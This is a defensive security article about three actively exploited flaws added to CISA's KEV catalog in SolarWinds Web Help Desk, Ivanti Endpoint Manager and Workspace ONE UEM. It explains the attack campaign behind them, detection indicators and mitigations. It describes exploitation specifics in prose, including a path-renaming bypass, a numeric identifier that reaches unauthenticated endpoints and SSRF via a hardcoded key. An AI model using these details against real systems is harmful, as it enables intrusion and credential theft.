CISA Adds Three Actively Exploited Flaws to KEV: SolarWinds, Ivanti, and Workspace ONE Under Fire

On March 9, 2026, CISA confirmed what threat hunters had been watching for weeks: three vulnerabilities across SolarWinds Web Help Desk, Ivanti Endpoint Manager, and Omnissa Workspace ONE UEM are being actively weaponized in the wild. Two of the three require zero authentication. Federal agencies have days, not weeks, to patch.

The U.S. Cybersecurity and Infrastructure Security Agency expanded its Known Exploited Vulnerabilities catalog on Monday, March 9, 2026, adding three flaws affecting enterprise IT management platforms that collectively serve tens of thousands of organizations globally. The additions span a critical remote code execution vulnerability in SolarWinds Web Help Desk, a high-severity authentication bypass in Ivanti Endpoint Manager, and a server-side request forgery bug in Omnissa Workspace ONE UEM that has been lurking unpatched in enterprise environments since it was first disclosed back in 2021. What makes this batch particularly significant is the combination of technical severity, the breadth of the affected products, and the different exploitation timelines that led each flaw to confirmed in-the-wild abuse.

What CISA Did and Why It Matters

The KEV catalog, established under Binding Operational Directive 22-01, functions as the federal government's authoritative list of vulnerabilities confirmed to be actively exploited in real-world attacks. Listing a vulnerability in the KEV catalog is not an advisory or a recommendation. It triggers a mandatory remediation requirement for Federal Civilian Executive Branch agencies under BOD 22-01, with hard deadlines attached. When CISA adds something to the KEV catalog, the intelligence behind that decision typically comes from multiple sources: direct telemetry, threat intelligence sharing with sector partners, and in some cases corroboration from incident response engagements at compromised organizations.

"These types of vulnerabilities are frequent attack vectors for malicious cyber actors." — CISA, March 9, 2026 KEV Catalog Update

The March 9 additions are notable for another reason. Two of the three vulnerabilities had patches available for weeks or months before active exploitation was confirmed. That pattern, where organizations fail to apply available fixes in time, continues to be one of the most reliable enablers of mass compromise. The third flaw, the Workspace ONE SSRF, was originally disclosed in December 2021. Its appearance in the KEV catalog in 2026 tells a story about how deeply embedded legacy vulnerabilities remain across enterprise infrastructure.

Here is a consolidated reference for all three CVEs:

CVE-2025-26399: SolarWinds Web Help Desk RCE

Of the three, CVE-2025-26399 carries the most immediate danger. Rated 9.8 on the CVSS scale, it is an unauthenticated remote code execution vulnerability residing in the AjaxProxy component of SolarWinds Web Help Desk, a widely deployed IT service management platform used by enterprises and government agencies for ticketing, asset management, and workflow automation. Exploitation requires no credentials whatsoever. A remote attacker with network access to the application can achieve full code execution on the underlying host.

What makes this vulnerability especially telling is that it is not a novel flaw. It is the third iteration of the same fundamental design failure in the AjaxProxy deserialization logic. The attack chain traces back to CVE-2024-28986, an original deserialization vulnerability patched in August 2024 that CISA subsequently added to the KEV catalog after confirmed exploitation. That patch was bypassed, yielding CVE-2024-28988. That bypass was then patched, but incompletely, producing CVE-2025-26399, which SolarWinds addressed in September 2025 with a hotfix for version 12.8.7.

The root cause is insecure deserialization of untrusted data by the jabsorb library used inside the AjaxProxy component. The application uses jabsorb, a lightweight JSON-RPC library, to dynamically load and execute component methods. When requests arrive destined for AjaxProxy, the library processes serialized data without sufficient validation, allowing an attacker to craft a malicious Java object that triggers arbitrary code execution when the server deserializes it.

SolarWinds introduced a sanitization routine in its prior patches that checked whether incoming request URIs contained the string "ajax." If found, serialized parameters were stripped. Researchers at Horizon3.ai and watchTowr documented that this check could be bypassed by changing the request path from "ajax" to "wo" — a trivially simple modification. The blacklist function protecting against suspicious payloads could similarly be defeated by prepending whitelisted Java class terms to malicious JNDI lookup payloads, causing the filter to pass the request as safe.

"Given SolarWinds' past, in-the-wild exploitation is highly likely." — watchTowr Labs, September 2025

Microsoft and threat intelligence firm Huntress both reported observing threat actors exploiting SolarWinds Web Help Desk vulnerabilities to obtain initial access as far back as December 2025, before CISA's formal KEV confirmation on March 9. The fix for CVE-2025-26399 is SolarWinds Web Help Desk 12.8.7 Hotfix 1, which modifies the core JAR files (whd-core.jar, whd-web.jar, whd-persistence.jar) and introduces a new HikariCP connection pool library to replace the vulnerable c3p0 library that contributed to earlier gadget chains. It is worth noting that watchTowr researchers subsequently identified further deserialization issues in the same product — CVE-2025-40551, CVE-2025-40552, CVE-2025-40553, and CVE-2025-40554 — all addressed in WHD 2026.1. Organizations still running any version prior to WHD 2026.1 should treat this as an emergency upgrade, not a scheduled patching exercise.

FCEB agencies were given only three days from the date of the KEV listing to apply the SolarWinds fix, with a deadline of March 12, 2026. That compressed window, one week shorter than the typical three weeks mandated under BOD 22-01, reflects the severity of confirmed active exploitation.

Who Is Behind the SolarWinds WHD Campaign?

This is not an abstract threat — there is a named threat actor behind it. Huntress researchers investigating compromised SolarWinds WHD instances identified infrastructure overlap with previous intrusions attributed to Storm-2603, a China-linked threat group tied to the Warlock ransomware operation. The connection was established through shared Cloudflare Worker accounts, consistent tooling choices, and reused command-and-control infrastructure observed across multiple incidents. John Hammond, principal security researcher at Huntress, stated that indicators were "very similar to what we saw in prior incidents which were confirmed as tied to Storm-2603." Dark Reading and ReliaQuest have independently corroborated the China attribution. In a follow-up investigation published on March 6, 2026, Huntress revealed that the attacker's Elastic Cloud SIEM instance contained approximately 216 unique victim hosts across 34 distinct Active Directory domains, spanning government agencies, higher education institutions, financial services, religious and nonprofit organizations, global manufacturing and automotive companies, IT service providers, retail, and construction. Huntress coordinated with Elastic and law enforcement to notify affected organizations and take down the infrastructure.

The earliest indicators of exploitation observed by Huntress date back to January 16, 2026, though there is evidence suggesting that threat actors had been leveraging Velociraptor, one of their preferred post-exploitation tools, for abuse dating back to September 2025. Huntress observed the exploitation across three of the 78 organizations in its customer base that use SolarWinds WHD. Microsoft's own analysis, published on February 6, 2026, documented attacks against customer environments that occurred in December 2025. What remains unclear is whether those December attacks exploited CVE-2025-26399 specifically, or the subsequently disclosed CVE-2025-40551 and CVE-2025-40536 — the affected machines were vulnerable to all of them simultaneously, and the exploitation methods overlap enough that definitive CVE-level attribution has not been established.

"Normally these types of incidents would have led to Warlock ransomware, but in this case, it seems as if the attackers were still in reconnaissance mode since their main objectives appeared to be to collect system information from as many victims as possible." — John Hammond, Principal Security Researcher, Huntress (via CSO Online, February 11, 2026)

That ambiguity is itself significant. When a product accumulates enough overlapping critical vulnerabilities that incident responders cannot determine which one was used because all of them were exploitable at the same time, the distinction between individual CVEs becomes less important than the systemic failure in the software's security posture.

What Does Post-Exploitation Actually Look Like?

The attack chains documented by Microsoft, Huntress, and Elastic Security Labs share a consistent pattern that defenders should study carefully, because it illustrates how modern adversaries blend legitimate tools with malicious infrastructure to avoid detection.

"In this intrusion, attackers relied heavily on living-off-the-land techniques, legitimate administrative tools, and low-noise persistence mechanisms." — Microsoft Defender Security Research Team, February 6, 2026

Once an attacker achieves code execution through the WHD deserialization vulnerability, the compromised WHD service process — running as java.exe or wrapper.exe — spawns PowerShell. The attacker then uses Background Intelligent Transfer Service (BITS) or direct HTTP downloads to pull additional payloads from file-hosting services like Catbox. In the intrusions documented by Huntress, the first tool deployed was a Zoho ManageEngine RMM agent, a legitimate remote monitoring and management tool that was configured for unattended access and registered to a Zoho Assist account tied to the Proton Mail address esmahyft@proton[.]me.

With remote access established, the attackers deployed Velociraptor, an open-source digital forensics and incident response tool that, in the hands of a threat actor, functions as a full-featured command-and-control framework. Huntress researchers explained that "while Velociraptor is designed to help defenders with endpoint monitoring and artifact collection, its capabilities make it equally effective as a C2 framework when pointed at attacker-controlled infrastructure." The version used — Velociraptor 0.73.4 — is itself an outdated build with a known privilege escalation vulnerability. The Velociraptor server infrastructure was hosted behind Cloudflare Workers, using the subdomain identifier qgtxtebl, which Huntress had previously observed across multiple intrusions involving the Warlock ransomware operation.

With Velociraptor executing encoded PowerShell commands on the endpoint, the attacker ran a reconnaissance script that collected operating system version, hardware specifications, domain membership, and installed hotfixes. That data was exfiltrated to an attacker-controlled Elastic Cloud SIEM instance running as a free trial, formatted as NDJSON, and pushed via the Elasticsearch Bulk API with a hardcoded API key. The attackers had effectively built their own SIEM — each compromised system reported its full system profile to a centralized Elasticsearch instance that the operator could search at scale through Kibana.

"While we have previously seen threat actors leveraging Velociraptor and other DFIR-focused tools for command and control, this was the first time we observed an adversary use Elastic Cloud for exfiltration." — Huntress, A Threat Actor Abuses Another Free Trial, March 6, 2026

From there, the playbook escalated. The attackers installed Cloudflare tunnels (downloaded directly from GitHub) as a redundant command-and-control channel, disabled Windows Defender and Windows Firewall through registry modifications, and enumerated Active Directory to identify Domain Admins and high-value group memberships. In some cases, credential dumping was observed using DCSync techniques and extraction of the NTDS.dit database from domain controllers. Microsoft also documented an instance where wab.exe, a legitimate Windows Address Book executable, was used to sideload a malicious sspicli.dll to extract credentials from LSASS memory. Finally, the attackers created scheduled tasks that used QEMU virtual machines to open SSH backdoors as a persistence mechanism — a technique designed to survive host-level remediation by running the backdoor inside a lightweight VM. Huntress's analysis of the victim data, corroborated by Lumen Technologies Black Lotus Labs, also revealed hostnames suggesting the threat actor was conducting opportunistic attacks against Gladinet CentreStack, SmarterTools SmarterMail, and Microsoft SharePoint instances in parallel — indicating that SolarWinds WHD was one vector in a broader campaign targeting internet-facing enterprise applications with critical vulnerabilities.

MITRE ATT&CK Mapping

The full attack chain observed across the Storm-2603 campaign maps cleanly to MITRE ATT&CK Enterprise techniques. Defenders building detection rules and threat-hunting playbooks should use these technique IDs to structure their coverage:

The breadth of this technique mapping — spanning 10 of ATT&CK's 14 Enterprise tactics — illustrates why single-layer defenses fail against this type of campaign. Detection strategies built around any single technique will miss the chain. Effective coverage requires layered detection across initial access, execution, persistence, credential access, and exfiltration simultaneously. Organizations running MITRE ATT&CK-based detection frameworks should use these technique IDs to audit their rule coverage and identify gaps before they become exploitation paths.

CVE-2026-1603: Ivanti Endpoint Manager Authentication Bypass

Ivanti Endpoint Manager (EPM) is a client-based endpoint management platform that organizations use to control and secure large fleets of devices across their networks. It stores privileged credentials used to push software, manage configurations, and interact with administrative systems across an entire enterprise. That makes the credential store inside EPM an extraordinarily valuable target — and CVE-2026-1603 hands attackers a direct, unauthenticated path to it.

Classified under CWE-288 (Authentication Bypass Using an Alternate Path or Channel) and rated 8.6 on Ivanti's own CVSS assessment (NVD rates it 7.5 due to a scope boundary difference), the vulnerability affects all versions of Ivanti Endpoint Manager prior to 2024 SU5. The flaw resides in the authentication handling for specific internal API endpoints that were never subjected to the same access controls governing the rest of the EPM application. An attacker with network access to the EPM server can send a specially crafted HTTP request that includes a specific numeric identifier — the integer 64 — to reach those unguarded endpoints and pull encrypted credential blobs associated with high-privilege accounts, including Domain Administrator password hashes and service account credentials.

The attack requires no credentials, no user interaction, and no special configuration on the target system. A successful exploitation attempt would directly expose the EPM Credential Vault's contents, providing an attacker with everything needed to move laterally across the target network, escalate privileges, and potentially compromise every device managed through the EPM console. Researchers at Cybersecurity News confirmed that CVE-2026-1603 can be chained with a companion SQL injection flaw, CVE-2026-1602, which allows a separately authenticated attacker to read arbitrary records from the underlying database.

Ivanti disclosed CVE-2026-1603 alongside its February 2026 EPM security advisory, releasing version 2024 SU5 as the fix. The flaw was originally reported to Ivanti in November 2024 and disclosed via Trend Micro's Zero Day Initiative. As of the date of the KEV listing, Ivanti stated it was not aware of confirmed customer exploitation — a position that has not been updated to reflect CISA's evidence of active weaponization. The Hacker News noted this information gap at the time of publication, and it remains unresolved. Ivanti has confirmed that the vulnerability affects Ivanti Endpoint Manager specifically, which is the current product name for what was previously branded as LANDesk Management Suite (LDMS). Any deployment still referred to internally as LANDesk or LDMS is in scope if it maps to versions prior to 2024 SU5. The vulnerability is not present in Ivanti Cloud Service Appliance (CSA) deployments.

The pattern here is not new for Ivanti. The company has faced a sustained series of critical vulnerability disclosures across its product portfolio over the past two years, with multiple flaws reaching KEV status after attackers demonstrated they could weaponize them faster than enterprise patch cycles allowed. CVE-2026-1603 follows a pattern of Ivanti endpoint management vulnerabilities being exploited as footholds into enterprise networks before broad patch adoption occurs.

How Many Systems Are Exposed Right Now?

The attack surface for these vulnerabilities is not theoretical. Shadowserver, a nonprofit threat monitoring platform that continuously scans for internet-facing services, tracked over 700 internet-facing Ivanti EPM instances at the time of the KEV listing, with the majority concentrated in North America. While there is no public data on how many of those remain unpatched against CVE-2026-1603, the number of instances exposed to the public internet at all represents a fundamental misconfiguration — Ivanti's own documentation states that EPM is not intended to be internet-facing. For context, earlier Shadowserver scans from December 2025 tracked hundreds of exposed EPM instances across the United States (569), Germany (109), and Japan (104), suggesting the exposure surface has been growing, not shrinking, even as the frequency of critical Ivanti vulnerabilities accelerates.

SolarWinds Web Help Desk exposure is similarly concerning. Shadowserver reported approximately 150 internet-facing WHD instances as of early February 2026, a slight decrease from around 170 the previous week. Every one of those instances is a potential entry point for the same attack chain that Storm-2603 has been executing since at least January 2026. The number may seem small in absolute terms, but each compromised WHD instance sits inside an enterprise network with access to ticketing data, asset inventory, credentials, and internal service integrations — the blast radius of a single compromised instance extends far beyond the server itself.

The Ivanti exposure number also needs to be understood in the context of the company's broader vulnerability history. CISA has flagged over 30 Ivanti vulnerabilities in the KEV catalog since late 2021. Just weeks before CVE-2026-1603 was added, Ivanti disclosed two critical EPMM (Endpoint Manager Mobile) zero-days — CVE-2026-1281 and CVE-2026-1340 — that were actively exploited to compromise the European Commission, the Dutch Data Protection Authority, Finland's central government ICT service center Valtori, the Dutch Council for the Judiciary, and dozens of other organizations. Shadowserver tracked over 1,200 exposed EPMM instances during that campaign, and observed a spike in exploitation attempts from tens of thousands of IP addresses. Defused Cyber documented the deployment of dormant in-memory Java class loaders ("sleeper" webshells) to compromised EPMM instances, activated only by specific trigger parameters — a level of tradecraft sophistication that underscores the value attackers place on management platform footholds. For organizations running any Ivanti endpoint management product, the cumulative risk posture is not defined by any single CVE. It is defined by the sustained, repeated pattern of critical vulnerabilities reaching exploitation before patches are widely adopted.

CVE-2021-22054: The Four-Year-Old Workspace ONE SSRF Still Biting

The third entry in this KEV batch is, in some ways, the most striking from an operational security perspective. CVE-2021-22054 was originally disclosed and patched by VMware in December 2021. The vulnerability affects Omnissa Workspace ONE UEM — known at the time as VMware Workspace ONE UEM, before VMware's enterprise end-user computing division was spun off into Omnissa. It carries a CVSS score of 7.5 and is classified as a server-side request forgery (SSRF) vulnerability.

In a successful attack, a malicious actor with network access to the UEM console can send unauthenticated HTTP requests that the server processes as if they originated internally, enabling access to sensitive internal resources. Researchers at DailyCVE documented that the exploit technique involves encrypting a target URL — such as a cloud metadata service endpoint at 169.254.169.254 — using a static hardcoded master key embedded in the application, then submitting it to the vulnerable request handler. Because the key is static and embedded in the software, it can be extracted and used by any attacker who reverse-engineers the application or locates public documentation of the key.

The SSRF attack primitive opens several dangerous downstream possibilities: exfiltrating cloud instance metadata and temporary IAM credentials in cloud-hosted deployments, pivoting to internal services that implicitly trust requests originating from the UEM server, and mapping internal network topology through the server-as-proxy capability the vulnerability provides.

GreyNoise documented a coordinated surge in SSRF exploitation attempts on March 9, 2025, with over 400 distinct IP addresses scanning for this vulnerability alongside other SSRF flaws across enterprise products. That campaign, observed a full year before the KEV listing, indicated organized threat actor interest in SSRF vulnerabilities as a class — particularly those affecting enterprise management platforms where internal server trust relationships are highest.

The fact that this vulnerability is appearing in the KEV catalog in 2026, more than four years after its initial patch was released, points to a persistent and serious problem in enterprise patch management. Workspace ONE UEM is widely deployed in organizations that manage large mobile device fleets and corporate endpoint estates. In complex deployments, upgrading UEM infrastructure is frequently deferred due to dependencies, compatibility concerns, or simple operational debt. Those deferred upgrades create the exact environment attackers rely on: known-vulnerable software running in production long after remediation options exist. NIST SP 800-40 Rev. 4 (Guide to Enterprise Patch Management Planning) frames patching as preventive maintenance — a cost of doing business, not an optional improvement project. It specifically addresses the organizational divide between business owners who defer upgrades due to operational complexity and security teams who understand that deferred patching is deferred risk. CVE-2021-22054 is a textbook example of what NIST SP 800-40 warns about: a vulnerability whose risk was accepted by default because no one actively decided to patch it, and that acceptance compounded silently until it became an active exploitation vector.

Why Do Management Platforms Keep Getting Hit?

All three vulnerabilities in this KEV batch affect the same category of software: enterprise management platforms. This is not coincidence. IT service management consoles, endpoint management servers, and device fleet controllers occupy a uniquely privileged position in enterprise networks. They hold credentials for managed systems. They have trust relationships with Active Directory. They communicate with endpoints across every network segment. They are often excluded from the same hardening standards applied to production application servers because they are classified as "internal tools" — even when, as Shadowserver data demonstrates, many of them end up exposed to the internet.

When an attacker compromises a help desk platform, they inherit the platform's access to ticketing data, asset inventories, and service account credentials. When they compromise an endpoint manager, they inherit the ability to push software, read credential vaults, and interact with every managed device in the fleet. When they compromise a UEM console, they inherit the server's trust relationships with cloud metadata services, internal APIs, and mobile device policy infrastructure. In each case, the attacker does not need to escalate privileges in the traditional sense — they simply inherit the privileges the platform already has.

This is why the same category of software appears in KEV listings repeatedly. Attackers are not choosing these targets because they happen to have vulnerabilities. They are choosing them because a single vulnerability in a management platform delivers more access, more credentials, and more lateral movement capability than a comparable vulnerability in a standard web application or user-facing service. The lesson for security teams is that management infrastructure needs to be treated as crown-jewel assets — segmented, monitored, hardened, and patched with the same urgency applied to domain controllers and authentication services. NIST SP 800-53 Rev. 5 addresses this directly through several control families: SI-2 (Flaw Remediation) mandates timely patch installation, CM-8 (System Component Inventory) requires maintaining accurate inventories of the exact software versions in production — the kind of inventory that would have identified unpatched Workspace ONE UEM instances years ago — and SC-7 (Boundary Protection) calls for the network segmentation controls that would limit the blast radius of a compromised management console. Organizations using the NIST Cybersecurity Framework (CSF 2.0) should evaluate their DETECT (DE) and RESPOND (RS) function maturity specifically against the management platform attack surface, following the incident handling guidance in NIST SP 800-61 Rev. 3.

Federal Patch Deadlines and What That Signals

The patch timelines imposed by this KEV update carry their own signal. SolarWinds Web Help Desk received a three-day remediation window for FCEB agencies — a deadline of March 12, 2026, just 72 hours from the date of listing. Ivanti Endpoint Manager and Omnissa Workspace ONE UEM received two-week windows, with a deadline of March 23, 2026. The asymmetry reflects the relative urgency CISA assigns to each threat. A two-week window is itself notably shorter than the typical three weeks BOD 22-01 allows, and the SolarWinds window is extraordinary by any standard.

While BOD 22-01 formally applies only to FCEB agencies, CISA's language in every KEV publication is consistent:

"CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice." — CISA, BOD 22-01 Guidance, reiterated in every KEV catalog addition

In practice, KEV listings function as priority patching advisories for the entire cybersecurity community. Private sector organizations, critical infrastructure operators, and managed service providers routinely use the KEV catalog as an input to vulnerability prioritization decisions, particularly when internal patch prioritization systems would otherwise delay remediation of flaws that are confirmed as actively exploited.

What Detection Indicators Should Defenders Hunt For?

SolarWinds WHD Exploitation Indicators

The post-exploitation tradecraft documented across the Storm-2603 campaign provides a concrete set of artifacts to hunt for. On the host level, look for child processes spawned by java.exe or wrapper.exe (the WHD service wrapper), particularly cmd.exe or powershell.exe. Silent MSI installations executed via msiexec /q /i pointing to external URLs — especially Catbox file-hosting links — are a strong signal. The presence of Zoho ManageEngine or Zoho Assist agents that were not deployed through your organization's approved RMM tooling should be treated as confirmed compromise indicators. Look specifically for the process TOOLSIQ.EXE, which is the Zoho ManageEngine RMM agent process observed in multiple intrusions.

On the network side, monitor for connections to Cloudflare Worker subdomains — particularly any subdomain containing the identifier qgtxtebl, which has been tied to Warlock ransomware infrastructure. Outbound connections to Elastic Cloud endpoints from servers that are not part of your authorized SIEM infrastructure indicate potential data exfiltration. Watch for QEMU virtual machine processes running on servers where virtualization is not expected, and for scheduled tasks that launch QEMU-based SSH backdoors. SonicWall IPS signatures 21895 and 21896 are available for detecting exploitation attempts targeting the AjaxProxy deserialization chain. Huntress, Microsoft, and Elastic Security Labs have all published detection rules specific to this campaign.

Ivanti EPM Exploitation Indicators

For CVE-2026-1603, monitor authentication logs on the EPM server for unauthenticated access attempts to credential-related API endpoints. Any request containing the integer identifier 64 directed at internal endpoints that should require authentication warrants immediate investigation. Watch for requests originating from the IP address 103.69.224[.]98, which Defused Cyber identified in active exploitation telemetry. More broadly, monitor for unusual data exfiltration patterns from the EPM server, unexpected access to the Credential Vault, and any credential usage from locations that do not correspond to your administrative network ranges.

Workspace ONE UEM Exploitation Indicators

For CVE-2021-22054, the primary detection opportunity is monitoring for outbound HTTP requests from the UEM console to destinations it should not be reaching — particularly the cloud metadata endpoint at 169.254.169.254, internal RFC 1918 address ranges that should not be reachable from the console, and any external hosts that the UEM server has no business contacting. Because the SSRF exploit relies on a static hardcoded master key for URL encryption, any request to the BlobHandler.ashx endpoint with an encrypted URL parameter should be logged and reviewed. Network segmentation monitoring that detects the UEM server attempting to reach internal services outside its expected communication profile is the most reliable detection method for SSRF exploitation.

What Every Defender Should Do Right Now

Use the checklists below to track your remediation progress for each affected product. These consolidate actions from CISA, Microsoft, Huntress, and vendor advisories into a single operational reference.

Architectural Fixes That Outlast the Next CVE

The checklists above address the immediate emergency: patch these three CVEs, rotate compromised credentials, hunt for known IOCs. That is necessary work. But the article up to this point has demonstrated something the tactical response alone does not solve — the conditions that made these compromises possible are structural, not incidental. SolarWinds WHD has cycled through four generations of the same deserialization failure. The Ivanti credential vault was accessible without authentication. Workspace ONE sat unpatched for five years. Addressing those conditions requires changes to architecture, governance, and operational practice that extend well beyond any individual CVE.

Redesign Privileged Access Architecture Around Management Platforms

The core reason management platforms are such high-value targets is that they store and use privileged credentials natively. Ivanti EPM holds Domain Admin hashes in its Credential Vault. SolarWinds WHD stores service account credentials for Active Directory integration. Workspace ONE UEM maintains trust relationships with cloud identity services. When any one of these platforms is compromised, the attacker inherits every credential the platform holds — and the remediation burden extends to rotating every one of those credentials across the entire environment.

The architectural fix is to stop storing those credentials inside management platforms at all. Instead of allowing EPM or WHD to maintain their own credential stores, integrate them with an external Privileged Access Management vault — CyberArk, Delinea, BeyondTrust, or equivalent — where credentials are injected at runtime through API-brokered checkout and never persist on the management console itself. This means that even if an attacker exploits a vulnerability like CVE-2026-1603, the credential vault they reach is empty because the platform never stored the credentials locally in the first place.

Beyond credential injection, implement a tiered administration model based on Microsoft's Enterprise Access Model (formerly the Red Forest design). Management consoles should reside in a dedicated administrative tier, accessible only through Privileged Access Workstations and jump servers. Tier 0 credentials (Domain Admins, schema admins, enterprise admins) should never be entered directly into a management console interface. If the management platform needs to perform actions requiring Tier 0 privileges, those actions should flow through a PAM-brokered session that is logged, time-limited, and automatically revoked. This eliminates the single-compromise-equals-domain-compromise pattern that Storm-2603 exploited.

Defend Against Deserialization as a Vulnerability Class

The SolarWinds WHD patch timeline tells a clear story: the vendor has attempted to fix the same fundamental deserialization flaw in the AjaxProxy component four times across three CVEs, and researchers found four more critical vulnerabilities in the same component during that process. Relying exclusively on the vendor's patch cycle to address a problem they have failed to fully resolve after multiple attempts is not a defensible strategy. Organizations need class-level defenses against deserialization attacks that operate independently of any specific CVE.

For Java-based management applications like WHD, deploy Web Application Firewall rules or Runtime Application Self-Protection (RASP) agents that detect and block serialized Java objects in HTTP request bodies. Java serialization has a well-known binary signature (0xACED0005 at the byte level, or Base64-encoded equivalents) that can be identified and blocked at the network layer before the request ever reaches the vulnerable component. This is not a replacement for patching — it is a compensating control that provides coverage during the gap between vulnerability disclosure and patch deployment, and that catches bypass variants that the vendor's own fix may miss.

At the application level, Java applications that must perform deserialization should implement JEP 290 deserialization filters with allowlist-only policies. JEP 290, available since Java 9 and backported to Java 8u121 and Java 7u131, allows administrators to define which classes are permitted to be deserialized. An allowlist approach means that only explicitly approved classes can be reconstructed from serialized data — any unexpected class, including the malicious gadget chains used in the AjaxProxy exploits, is rejected before it executes. For environments where modifying the application code is not feasible, the JVM-level jdk.serialFilter property can enforce deserialization filters globally without application changes.

Standing detection rules should monitor for serialized Java objects in HTTP traffic to all management platform endpoints — not just during active CVE response, but permanently. If a management application is receiving serialized Java objects from external sources, that traffic pattern is inherently suspicious regardless of whether a specific CVE has been published for it.

Implement Zero Trust Access for All Management Consoles

Shadowserver tracked over 700 internet-facing Ivanti EPM instances and approximately 150 exposed SolarWinds WHD instances at the time of these KEV listings. Ivanti's own documentation states that EPM is not designed to be internet-facing. The fact that hundreds of instances are exposed anyway reveals a gap between vendor guidance and operational reality that simple firewall rules have not closed.

The architectural response is to place every management console — endpoint managers, help desks, UEM platforms, configuration management servers — behind an identity-aware proxy that enforces authentication, authorization, and device posture verification before any network-level connectivity to the console is established. Solutions in this category include Zscaler Private Access, Cloudflare Access, and Google BeyondCorp Enterprise, but the critical requirement is the architecture pattern, not a specific product: no management console should be reachable at the network layer by any device or user that has not first proven its identity and its compliance posture.

Enforce conditional access policies that restrict management console sessions to compliant, managed devices on known administrative network segments, with phishing-resistant MFA (FIDO2 hardware keys, not SMS or push notifications). This does more than prevent external exposure. It also addresses the internal lateral movement path — an attacker who compromises a user workstation through phishing cannot pivot to a management console if the console requires device certificate verification and hardware token authentication that the compromised workstation cannot satisfy. The goal is to make the management console unreachable from any position the attacker is likely to occupy after initial access, whether that position is external or internal.

Build Patch Debt Governance That Treats Management Infrastructure as Tier 0

CVE-2021-22054 in Workspace ONE UEM was patched in December 2021 and added to the KEV catalog in March 2026. That five-year gap is not a technical failure — the patch existed. It is a governance failure. Somewhere in the affected organizations, a decision was made (or never explicitly made, which amounts to the same thing) that upgrading the UEM platform was not worth the operational disruption. That implicit risk acceptance compounded silently for years until it became a confirmed exploitation vector.

The fix is to reclassify management infrastructure within your vulnerability management policy. Most organizations tier their patch SLAs by asset criticality: domain controllers and identity providers get the shortest remediation windows, general servers get longer windows, and workstations get the longest. Management platforms — endpoint managers, help desks, UEM consoles, configuration management servers — typically fall into the "general server" tier or sometimes even lower, because they are classified as internal tools rather than crown-jewel assets. That classification is wrong, and the three CVEs in this KEV batch demonstrate exactly why. Any platform that stores Domain Admin credentials, maintains AD trust relationships, or communicates across every network segment should be patched on the same SLA as domain controllers: critical vulnerabilities remediated within 72 hours, high-severity within one week.

Operationalize this by running automated compliance scans that flag management platform versions against both the KEV catalog and vendor end-of-life databases. Build executive-facing dashboards that display average days-to-patch for management platforms versus the policy SLA, with trend lines that make deferred risk accumulation visible to leadership before it compounds into a breach. When NIST SP 800-40 Rev. 4 describes patching as preventive maintenance — a cost of doing business, not an optional improvement project — this is the operational expression of that principle: management platform patch status should be reviewed in the same governance cadence as domain controller health, not in the same cadence as desktop application updates.

Define a Credential Exposure Response Playbook

The Ivanti EPM checklist above says to rotate all credentials stored in the Credential Vault. That is the right starting point, but it is not sufficient when the exposed credentials include Domain Admin password hashes. Rotating the passwords changes the hashes going forward, but if an attacker extracted NTLM hashes or Kerberos ticket-granting ticket material before the rotation, they can use those stolen artifacts to maintain access through pass-the-hash or Golden Ticket attacks even after the passwords themselves have been changed.

A complete credential exposure response for a management platform compromise of this severity requires a defined playbook that goes beyond password rotation. First, perform a krbtgt account double-reset — reset the krbtgt password, wait for replication to complete across all domain controllers, then reset it again. This invalidates all existing Kerberos tickets domain-wide, including any Golden Tickets the attacker may have forged from stolen krbtgt hash material. Second, force re-enrollment of all endpoints managed through the compromised platform, because any device whose management credentials were stored in the vault must be treated as potentially accessible to the attacker. Third, revoke all certificates issued to service accounts whose credentials were stored in the vault, including any certificates used for mutual TLS authentication between services. Fourth, conduct a forensic audit of credential usage logs — Active Directory authentication events, VPN logs, cloud identity provider sign-in logs — covering the period from the earliest possible exploitation date through the present, to map the full lateral movement scope before declaring remediation complete.

Without that full chain, organizations may rotate passwords while Golden Ticket material remains valid, revoke access at the password layer while certificate-based authentication remains compromised, or declare remediation complete while the attacker maintains persistence through a path the rotation did not cover.

Deploy SSRF-Class Network Architecture Defenses

CVE-2021-22054 exploits a server-side request forgery vulnerability to force the Workspace ONE UEM console to make HTTP requests to destinations selected by the attacker — most dangerously, the cloud instance metadata service at 169.254.169.254, which can expose temporary IAM credentials and instance identity information. The checklist says to monitor for those requests and segment the UEM console. But SSRF is not a one-off vulnerability — it is a class of flaw that has appeared across dozens of enterprise products over the past several years, and GreyNoise documented a coordinated campaign scanning for SSRF vulnerabilities across multiple products simultaneously. Defending against SSRF requires network architecture decisions that outlast any single CVE.

The first layer is egress filtering. Every management server should operate under an explicit-deny-all outbound policy with a maintained allowlist of approved destinations. A UEM console has a defined set of services it needs to reach: its managed endpoints, its cloud synchronization endpoints, its update servers. Any outbound connection to a destination not on that list — including the cloud metadata service, internal services outside the management plane, and arbitrary external hosts — should be blocked at the network layer and logged as a security event. This turns SSRF from a remote code execution equivalent into a blocked connection attempt that triggers an alert.

The second layer is cloud metadata service hardening. On AWS, enforce IMDSv2 across all instances. IMDSv2 requires a session token obtained through a PUT request before metadata can be retrieved, which SSRF attacks that only control the URL (not the HTTP method and headers) cannot satisfy. On GCP, enable metadata concealment and use workload identity federation instead of instance-level service accounts. On Azure, use managed identities with role-scoped permissions that limit the blast radius even if metadata credentials are stolen. These are infrastructure-level controls that eliminate the highest-value SSRF target regardless of which application vulnerability an attacker exploits to reach it.

The third layer is internal service authentication. If internal services implicitly trust requests originating from management consoles — because the console's IP address is on an allowlist, or because the internal service has no authentication at all — then SSRF turns the console into an authenticated proxy for the attacker. Deploy mutual TLS or service mesh authentication (Istio, Linkerd, Consul Connect) between internal services so that every request must present a valid client certificate, regardless of its source IP. This means that even if an attacker forces a management console to make internal requests through SSRF, the receiving service rejects the forged request because the console's SSRF-generated request does not carry the correct mTLS client certificate for the destination service.

Key Takeaways

1. Three enterprise management platforms are under active attack simultaneously. SolarWinds Web Help Desk, Ivanti Endpoint Manager, and Omnissa Workspace ONE UEM are all confirmed exploited as of March 9, 2026, with CISA's KEV listing providing official attribution of active weaponization.
2. The SolarWinds WHD campaign has a named, state-linked threat actor behind it. Huntress and Microsoft have linked the exploitation to Storm-2603, a China-linked group associated with Warlock ransomware operations. The earliest observed exploitation dates to January 2026, with reconnaissance activity potentially beginning in September 2025. Huntress's investigation uncovered approximately 216 victim hosts across 34 Active Directory domains spanning government agencies, higher education, financial services, manufacturing, and other sectors.
